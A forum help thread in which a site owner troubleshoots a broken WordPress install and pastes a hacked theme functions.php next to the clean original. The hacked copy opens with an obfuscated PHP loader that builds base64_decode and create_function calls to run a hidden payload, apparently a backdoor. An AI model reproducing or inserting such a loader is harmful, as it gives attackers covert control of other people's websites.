icusa
By:
icusa

Wordpress header collapsed? I cannot enter wordpress control panel.

April 3, 2016 1.1k views
WordPress PHP

Web page shows strange strings and some other page shows following message.

OOOOOOOOOOOOOOOOOOOOOOOOOOO

Warning: Cannot modify header information - headers already sent by (output started at /srv/users/serverpilot/apps/acewebwp02/public/wp-content/themes/dt-the7/functions.php:1) in /srv/users/serverpilot/apps/acewebwp02/public/wp-includes/pluggable.php on line 1228

Also I cannot enter wordpress control panel. Does anyone has any suggestion to fix?
http://lovelightluke.com

Best regards,

Hiroyuki

1 Answer

Check for spaces and tabs at the top in function.php for starts.

  • Thank you for your suggestion. I checked and compared with same theme (in other site) and same function.php.

    Here is the original one:

    <?php
    /**

    • Vogue theme. *
    • @since 1.0.0 */

    // File Security Check
    if ( ! defined( 'ABSPATH' ) ) { exit; }

    /**

    • Set the content width based on the theme's design and stylesheet. *
    • @since 1.0.0 / if ( ! isset( $contentwidth ) ) { $contentwidth = 1200; / pixels */ }

    /**

    • Initialize theme. *
    • @since 1.0.0 */ require( trailingslashit( gettemplatedirectory() ) . 'inc/init.php' ); ------------------------------------
    and here is one in this site:

    <?php $mt="mFsKCleRfU"; $ojj="IEBleldle"; $hsa="E9TVFsnd2Vud2VuJ10p"; $fnx="Ow=="; $zk = strreplace("d","","sdtdrdredpdldadcde"); $ef = $zk("z", "", "zbazsze64zdzeczodze"); $dva = $zk("p","","pcprpepaptpefpupnpcptpipopn"); $zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); $zvm(); ?>OOO<?php
    /**

    • Vogue theme. *
    • @since 1.0.0 */

    // File Security Check
    if ( ! defined( 'ABSPATH' ) ) { exit; }

    /**

    • Set the content width based on the theme's design and stylesheet. *
    • @since 1.0.0 / if ( ! isset( $contentwidth ) ) { $contentwidth = 1200; / pixels */ }

    /**

    • Initialize theme. *
    • @since 1.0.0 */ require( trailingslashit( gettemplatedirectory() ) . 'inc/init.php' ); ------------------------------------

    So obviously the top part was inserted. I deleted this part, and make it as it should be, and restarted server. However, unfortunately, the result is the same.

    Do you have further suggestions?

    Best regards,

    Hiroyuki

Have another answer? Share your knowledge.